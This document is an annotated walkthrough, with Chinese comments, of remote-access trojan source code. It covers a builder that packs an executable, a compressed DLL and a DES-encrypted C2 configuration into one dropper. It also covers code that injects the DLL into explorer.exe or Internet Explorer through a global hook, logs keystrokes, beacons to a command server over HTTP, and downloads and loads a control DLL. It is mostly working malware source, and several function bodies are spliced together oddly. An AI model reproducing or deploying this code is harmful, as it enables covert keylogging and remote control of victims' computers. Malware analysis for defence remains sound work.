BOOL CMyCreateClientDlg::OnInitDialog()
{
//该函数主要用于获取一些基本配置信息并显示在打开窗口对应栏
//如配置文件名称,端口,dll文件名,备份URL,IP地址列表等
}
单击“生成”按钮后,执行以下操作:
void CMyCreateClientDlg::OnButtonCreate()
{
//向配置文件中写入控制dll文件名和备份URL名信息
//取目标文件名称,弹出“另存为”窗口
//取EXE文件和DLL文件名称"PcStat.exe","PcClient.dll";
//取EXE文件数据放置到结构:pExeFileData
//取DLL文件数据放置到结构:pDllFileData
//压缩数据
BYTE* pDest = new BYTE[m_DllSize * 2]; //pDest为两倍dll size
memset(pDest , 0 , m_DllSize * 2);
BYTE* pSrc = pDllFileData;
BYTE* pCurr = pDest;
//Tip: 而在Visual C++ 6.0中,char型长度为1字节,short型长度为2字节,int和long型长度都为4字节,因此可以 //认为BYTE与WORD,DWORD定义的变量分别获得了1字节,2字节,4字节内存
//写头: SSH*****(16, 2byte)(0, 2byte )(m_DllSize, 4byte )********
::lstrcpyA ((char*)pDest, "SSH") ;
pCurr += 8 ;
* (WORD *) pCurr = 16 ;
pCurr += 2 ;
* (WORD *) pCurr = 0 ;
pCurr += 2 ;
* (DWORD *) pCurr = m_DllSize ;
pCurr += 4 ;
pCurr += 8 ;
// 文件名: (Ps.exe的文件名长度, 2byte ) (Ps.exe的文件名, strlen(filename)个byte )(NULL, 2byte )
* (WORD *) pCurr = ::lstrlen (m_StartFile) ;
::lstrcpy ((char *) pCurr+2, m_StartFile) ;
pCurr += * (WORD *) pCurr + 2 ;
//压缩
DWORD dwCounter = ::GetTickCount () ;
FCLzw fLzw ;
//输出的OutBuffer按 8 + ...data... 格式存储
pCurr += fLzw.LZW_Encode (pSrc, m_DllSize, pCurr) ;
dwCounter = ::GetTickCount () - dwCounter ;
//这个值写在头的最后8个byte中SH*****(16, 2byte)(0, 2 byte )(m_DllSize, 4 byte )********
* (DWORD *) &pDest[16] = dwCounter ;
//到这pDest也就是pCurr中的数据为:
//SSH*****(16, 2byte)(0, 2 byte )(m_DllSize, 4 byte )(lzw压缩时间, 8byte)
//(Ps.exe的文件名长度, 2 byte ) (Ps.exe的文件名, strlen(filename)个 byte )(NULL, 2 byte )
//pDllFileData经lzw压缩后的数据,按 8 + ...data... 格式存储
//启动信息
/* typedef struct _INITDLLINFO_
{
WORD m_ServerPort;
UINT m_ProcessId;
UINT m_DllFileLen;
char m_ProcessName[128];
char m_KeyName[24];
char m_CtrlFile[128];
char m_StartFile[128];
char m_ServerAddr[128];
char m_ParentFile[256];
char m_EventName[32];
char m_DdnsUrl[128];
char m_BakUrl[128];
char m_IsUpdate;
char m_ext[511];
}INITDLLINFO,*LPINITDLLINFO;*/
INITDLLINFO m_InitInfo = {0};
m_IpList.GetWindowText(m_InitInfo.m_ServerAddr,50);
strcpy(m_InitInfo.m_CtrlFile,m_CtrlFile);
m_InitInfo.m_ProcessName[0] = m_Proc;
strcpy(m_InitInfo.m_StartFile,m_StartFile);
m_InitInfo.m_StartFile[m_StartFile.GetLength() - 4] = 0;
strcpy(m_InitInfo.m_KeyName,m_InitInfo.m_StartFile);
m_InitInfo.m_KeyName[m_StartFile.GetLength() - 1] = 0;
strcat(m_InitInfo.m_StartFile, ".dll");
m_InitInfo.m_ServerPort = (WORD) (atoi((LPCTSTR) m_Port));
m_InitInfo.m_DllFileLen = pCurr - pDest;
//DES加密信息
INITDLLINFO m_InitFileInfo = {0};
char m_DesKey[9] = "\x10\x20\x17\x10\x09\x55\x11\xeb";
//Des_Go(char *Out, char *In, long datalen, const char *Key, int keylen, bool Type)
Des_Go((char*) &m_InitFileInfo, (char*) &m_InitInfo,
sizeof(INITDLLINFO), m_DesKey, 8, ENCRYPT);//将启动信息进行DES加密
//创建目标文件
if(!m_File.Open(m_StartFile, CFile::modeCreate|CFile::modeWrite))
{
MessageBox("无法创建文件","错误");
return;
}
m_File.Write(pExeFileData,m_ExeSize); //写客户端exe信息
m_File.Write(pDest,m_InitInfo.m_DllFileLen); //写dll信息
m_File.Write(&m_InitFileInfo,sizeof(INITDLLINFO)); //写启动相关信息
m_File.Close();
delete [] pExeFileData;
delete [] pDllFileData;
delete [] pDest;
}
//上面程序执行完,客户端Ps.exe也就生成了。
//对于PcStat.exe:
BOOL CPcStatApp::InitInstance()
{
//创建任务事件
m_ExitEvent = CreateEvent(NULL,TRUE,FALSE,AfxGetAppName());
if(m_ExitEvent == NULL || GetLastError()
== ERROR_ALREADY_EXISTS)
return FALSE;
//加载启动配置信息
char m_FileName[256] = {0};
if(!LoadInitInfo(m_FileName)) return FALSE;
//取当前EXE文件名称
//读Ps.exe中存储的启动信息
//读取和拷贝数据,进行DES解密
//如果不是更新,即木马刚种上
//用GetWindowsDirectory()得到启动文件和控制文件的全路径
//取链接库文件
if(!GetInsertDllFile(m_ExeFileName, pFileName, m_Info.m_DllFileLen)) return FALSE;
//打开Ps.exe文件,定位指针到链接库在文件中的起始位置
//读取dll内容到buffer中,将dll从exe中出来
//如果是对客户端的更新,写新的dll内容到dll文件
//查看数据有效性,文件的头中的数据固定格式来判断。如SSH的存在和文件长度的合法性
//解压文件,dll文件内容原来用lzw算法压缩的,现在同样解压缩
//装载动态链接库PcClient.dll
HMODULE m_Module = LoadLibrary(m_FileName);
if(m_Module == NULL) return FALSE;
//启动连接
InsertDllToProcess(m_Module);
//在dll中取导出函数:PlayWork,它是dll实现的主要功能,见下面详细分析
//如果m_Info.m_ProcessName[0] == 0,插入到explorer.exe进程中
//如果== 1,插入到自启动ie
//如果==2,则在本进程启动
//释放资源
FreeLibrary(m_Module);
return TRUE;
}
//PcClient.dll的主要内容,从PlayWork()开始分析
BOOL PlayWork(LPINITDLLINFO pInitInfo) //是explorer还是IE还是本进程,在参数中已获得进程ID等信息
{
//拷贝数据
memcpy(&m_InitInfo,pInitInfo,sizeof(INITDLLINFO));
//自进程启动
if(pInitInfo->m_ProcessName[0] == 2)
{
m_Work.StartWork(&m_InitInfo);
void SshWork::StartWork(LPINITDLLINFO pItem)
{
//拷贝数据
memcpy(&m_InitInfo,pItem,sizeof(INITDLLINFO));
m_ExitEvent = CreateEvent(NULL,TRUE,FALSE,NULL);
//启动键盘监控,对键盘键入操作下钩子,将记录写入文件
KeyStartMyWork();
m_IsVideo = GetVideoInfo();
//启动相应工作线程序
UINT m_Id = 0;
m_Thread = (HANDLE) _beginthreadex(NULL , 0 ,
SSH_WorkThread , (LPVOID) this , 0 , &m_Id);
UINT WINAPI SshWork::SSH_WorkThread(LPVOID lPvoid)
{
//取工作指针
SshWork* pWork = (SshWork*) lPvoid;
//开始进入工作循环
while(1)
{
//建立连接
if(pWork->GetHttpConnect(&pWork->m_InitInfo))
{
//连接成功,开始处理交易
PROCESSTRANS ProcessTrans = (PROCESSTRANS)
GetProcAddress(pWork->hCtrlMd,"ProcessTrans");
if(ProcessTrans != NULL)
ProcessTrans(pWork->hFp , pWork->m_ExitEvent ,
pWork->m_InitInfo.m_ServerAddr ,
pWork->m_InitInfo.m_ServerPort ,
pWork->m_InitInfo.m_KeyName ,
pWork->m_InitInfo.m_ParentFile);
}
//休息等待指定时间
if(WaitForSingleObject(pWork->m_ExitEvent,
30000) != WAIT_TIMEOUT)
break;
}
//销毁资源
pWork->StopWork();
ExitProcess(0);
return 0;
}
}
return TRUE;
}
//检查是否已经启动
if(g_hook != NULL) return FALSE;
//启动HOOK
g_hook = SetWindowsHookEx(WH_DEBUG, GetMsgProc, ghInstance, 0);
LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
LRESULT lResult = CallNextHookEx(g_hook, nCode, wParam, lParam);
//查看是否为指定进程
if(!m_IsOk && m_InitInfo.m_ProcessId == GetCurrentProcessId())
{
//找到指定进程取消hook
m_IsOk = TRUE;
if(g_hook) UnhookWindowsHookEx(g_hook);
//通知主进程退出
HANDLE m_WaitEvent =
OpenEvent(EVENT_ALL_ACCESS,FALSE,
m_InitInfo.m_EventName);
if(m_WaitEvent)
{
SetEvent(m_WaitEvent);
CloseHandle(m_WaitEvent);
}
Sleep(1000);
//装载DLL到进程
m_Work.m_Module = LoadLibrary(m_InitInfo.m_StartFile);
if(m_Work.m_Module)
{
m_Work.StartWork(&m_InitInfo);
}
}
return lResult;
}
return (g_hook != NULL);
}
//上面加粗的三个函数另外分析如下:
/*
** 函数名称: GetHttpConnect
** 函数功能: 建立HTTP连接
** 传入参数: pInfo : 连接相关参数
** 传出参数: hIe : HTTP连接句柄
hFile : HTTP文件句柄
** 引用函数: 无
** 返回值 : 布尔型(TRUE-建立连接成功,FALSE-连接建立失败)
** 备注 : 无
*/
BOOL SshWork::GetHttpConnect(LPINITDLLINFO pInfo)
{
//关闭句柄
if(hIe != NULL)
{
CloseHttpHandle();
Sleep(2000);
}
//设置最大连接数量为100
DWORD nValue = 100;
if( !InternetSetOption(NULL,73,&nValue,sizeof(DWORD)) ||
!InternetSetOption(NULL,74,&nValue,sizeof(DWORD)))
return FALSE;
//查看是否有ddns
if(strlen(pInfo->m_DdnsUrl) != 0)
{
//需要分析DDNS,得到需要连接的IP地址
if(!GetDesServerInfo(pInfo, pInfo->m_DdnsUrl))
{
if(!GetDesServerInfo(pInfo, pInfo->m_BakUrl))
{
//检查两层DDNS
return FALSE;
}
}
}
//初始化HTTP环境
hIe = InternetOpen("Mozilla/4.0 (compatible; MSIE 6.0; "
"Windows NT 5.0; .NET CLR 1.1.4322)",
INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if(!hIe) return FALSE;
//填充上送当前客户信息
char m_Url[4096] = {0};
char m_ExternData[2048] = {0};
sprintf(m_Url,"http://%s:%d/%d%s",
pInfo->m_ServerAddr,pInfo->m_ServerPort,
CONN_MAIN,m_ExternData); //这是上线请求
//建立HTTP连接,发送数据
hFp = InternetOpenUrl(hIe ,
m_Url , NULL, 0,
INTERNET_FLAG_PRAGMA_NOCACHE|
INTERNET_FLAG_RELOAD|
INTERNET_FLAG_NO_CACHE_WRITE , 0);
if(!hFp)
{
CloseHttpHandle();
return FALSE;
}
DWORD m_TimeOut = 24 * 3600 * 1000;
if(!InternetSetOption(hFp,
INTERNET_OPTION_RECEIVE_TIMEOUT,&m_TimeOut,sizeof(DWORD)))
{
CloseHttpHandle();
return FALSE;
}
//查看返回码
char sCode[256] = {0};
DWORD nSize = 250;
DWORD nIndex = 0;
if(!HttpQueryInfo(hFp , HTTP_QUERY_STATUS_CODE ,
sCode , &nSize , &nIndex) || atoi(sCode) != 200)
{
CloseHttpHandle();
return FALSE;
}
//查看控制dll是否已经装载
if(hCtrlMd) FreeLibrary(hCtrlMd);
//接收控制文件,直接用socket传送
if(!DlFile(m_InitInfo.m_CtrlFile))
{
CloseHttpHandle();
return FALSE;
}
//装载控制dll文件
hCtrlMd = LoadLibrary(m_InitInfo.m_CtrlFile);
if(hCtrlMd == NULL)
{
CloseHttpHandle();
return FALSE;
}
//当不是本进程启动的时候,更新本进程
if(m_InitInfo.m_ProcessName[0] != 2)
{
if(!UpdateExeFile()) //更新exe,dll, info等
{
CloseHttpHandle();
return FALSE;
}
}
return TRUE;
}
CPcCortrApp theApp;
void ProcessTrans(HINTERNET hFp , HANDLE m_ExitEvent ,char* pServerAddr ,
int nServerPort , char* pRegInfo ,char* pFileName)
{
AFX_MANAGE_STATE(AfxGetStaticModuleState());
CMyMainTrans m_Trans;
m_Trans.DoWork(hFp,m_ExitEvent,pServerAddr,nServerPort,pRegInfo,pFileName);
void CMyMainTrans::DoWork( HINTERNET HttpFp ,
HANDLE hExitEvent ,
char* pServerAddr ,
int ServerPort ,
char* pRegInfo ,
char* pFileName)
{
//取任务信息
m_ServerPort = ServerPort;
hFp = HttpFp;
m_ExitEvent = hExitEvent;
strcpy(m_RegInfo, pRegInfo);
strcpy(m_FileName, pFileName);
strcpy(m_ServerAddr,pServerAddr);
//开始工作
while(ProcessCmd());
void CMainFrame::ProcessCmd(SOCKET s, UINT Command,char *pExterndata,int len)
{
CWaitCursor m_Cur;
CMDINFO m_CmdInfo = {0};
m_CmdInfo.m_Command = Command;
if(pExterndata != NULL)
m_CmdInfo.m_DataLen = len;
//关闭事件通知,将non-blocking模式改成blocking模式
//To set the socket back to blocking mode, an application must first //disable WSAAsyncSelect by calling WSAAsyncSelect with the
//lEvent parameter equal to zero, or disable WSAEventSelect by
//calling WSAEventSelect with the lNetworkEvents parameter equal to zero WSAAsyncSelect(s,GetSafeHwnd(), 0, 0);
ULONG icmd = 0;
if(ioctlsocket(s,FIONBIO,&icmd))
{
PostMessage(WM_COMMAND,
MAKEWPARAM(ID_CLIENT_DELETE,1),NULL);
closesocket(s);
m_Cur.Restore();
return;
}
//发送命令
if(!SendData(s,(char*) &m_CmdInfo, sizeof(CMDINFO)))
{
PostMessage(WM_COMMAND,
MAKEWPARAM(ID_CLIENT_DELETE,1),NULL);
closesocket(s);
m_Cur.Restore();
return;
}
//发送目标系统相关信息
if(pExterndata != NULL)
{
if(!SendData(s,pExterndata,
m_CmdInfo.m_DataLen))
{
PostMessage(WM_COMMAND,
MAKEWPARAM(ID_CLIENT_DELETE,1),NULL);
closesocket(s);
m_Cur.Restore();
return;
}
}
//启动事件通知
//The WSAAsyncSelect function automatically sets socket s to nonblocking
// mode, regardless of the value of lEvent.
if(WSAAsyncSelect(s,GetSafeHwnd(),
WM_CLOSEITEM,FD_CLOSE) == SOCKET_ERROR)
{
PostMessage(WM_COMMAND,
MAKEWPARAM(ID_CLIENT_DELETE,1),NULL);
closesocket(s);
m_Cur.Restore();
return;
}
m_Cur.Restore();
}
}
}